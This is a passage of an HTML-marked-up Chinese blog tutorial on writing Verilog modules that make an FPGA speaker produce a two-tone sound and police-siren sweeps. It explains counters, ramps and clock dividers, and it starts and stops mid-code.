punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// MSB 1.5Hz变动一次\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e25\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e tone\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 计数器为0,说明当前频率已产生完毕,切换下一个\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 根据tone的MSB是否有值来确定\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 如果tone的MSB为0,则切换为220Hz的声音\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 如果tone的MSB为1,则切换为440Hz的声音\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e24\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e?\u003c/span\u003eclkdivider\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e clkdivider\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"Police-siren\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#Police-siren\" class=\"headerlink\" title=\"Police siren\"\u003e\u003c/a\u003ePolice siren\u003c/h3\u003e\u003cp\u003e接下来是生成一个听起来像警笛的声音。这个声音听着是又小逐渐变大的这种,之前声音像跳楼梯,这次的像上坡。\u003c/p\u003e\u003cp\u003e我们将音调计数器 \u003ccode\u003etone\u003c/code\u003e 的速度提高一倍,变为3Hz。\u003c/p\u003e\u003cp\u003e然后,就开始升频操作。我们提取音调计数器的16位到第22位:\u003ccode\u003etone[22:16]\u003c/code\u003e。这样我们得到了7bit,并且以一个中等速度从0~127,到达127后,再从127~0。\u003c/p\u003e\u003cp\u003e为了得到一个向下的斜坡,将其进行翻转(\u003ccode\u003e~tone[22:16]\u003c/code\u003e),此时从127~0。\u003c/p\u003e\u003cp\u003e为了切换上下这两个通道,同上面一样,我们根据 MSB \u003ccode\u003etone[23]\u003c/code\u003e 的值进行选择,3Hz切换一次。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e ramp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cblockquote\u003e\u003cp\u003ewire表示直通,即只要输入有变化,输出马上无条件地反映;reg表示一定要有触发,输出才会反映输入。(\u003ca href=\"https://zhuanlan.zhihu.com/p/482748824\"\u003e【Verilog HDL】Verilog中wire与reg类型学习 - 知乎 (zhihu.com)\u003c/a\u003e)\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e这样做的意义:\u003ca href=\"https://www.fpga4fun.com/MusicBox_ramp_explanation.html\"\u003efpga4fun.com - Music box siren ramp\u003c/a\u003e 。\u003c/p\u003e\u003cp\u003e这个 \u003ccode\u003eramp\u003c/code\u003e 的值从 \u003ccode\u003e7\u0026#39;b0000000\u003c/code\u003e 到 \u003ccode\u003e7\u0026#39;b1111111\u003c/code\u003e 。为了得到一个可用的值产生声音,我们在他前面补2位 \u003ccode\u003e2\u0026#39;b01\u003c/code\u003e 后面补7位 \u003ccode\u003e7\u0026#39;b0000000\u003c/code\u003e 进行填充。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u0026#39;b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e ramp\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7\u0026#39;b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e这样, \u003ccode\u003eclkdivider\u003c/code\u003e 的值从 \u003ccode\u003e16\u0026#39;b0100000000000000\u003c/code\u003e 到\u003ccode\u003e16\u0026#39;b01111110000000\u003c/code\u003e ,在50MHz的时钟下,相当于产生从765Hz到1525Hz的高音调警报器。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// police\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e police #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// MSB 3Hz变动一次\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e24\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e tone \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e tone\u003cspan class=\"token operator\"\u003e+\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 判断是上升还是下降\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e ramp \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// clkdivider 以3Hz为周期变动\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e{\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u0026#39;b01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e ramp\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token number\"\u003e7\u0026#39;b0000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e clkdivider\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e-\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e \u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"High-speed-pursuit\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#High-speed-pursuit\" class=\"headerlink\" title=\"High-speed pursuit\"\u003e\u003c/a\u003eHigh-speed pursuit\u003c/h3\u003e\u003cp\u003e要进行高速追击,警报声音有快有慢。\u003c/p\u003e\u003cp\u003e所以 \u003ccode\u003etone[22:16]\u003c/code\u003e 给我们一个快速的斜坡,而 \u003ccode\u003etone[25:19]\u003c/code\u003e 给我们一个缓慢的斜坡。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e fastsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e23\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e22\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e6\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e slowsweep \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e26\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token operator\"\u003e?\u003c/span\u003e tone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003etone\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e25\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e19\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e \u003cspan class=\"token 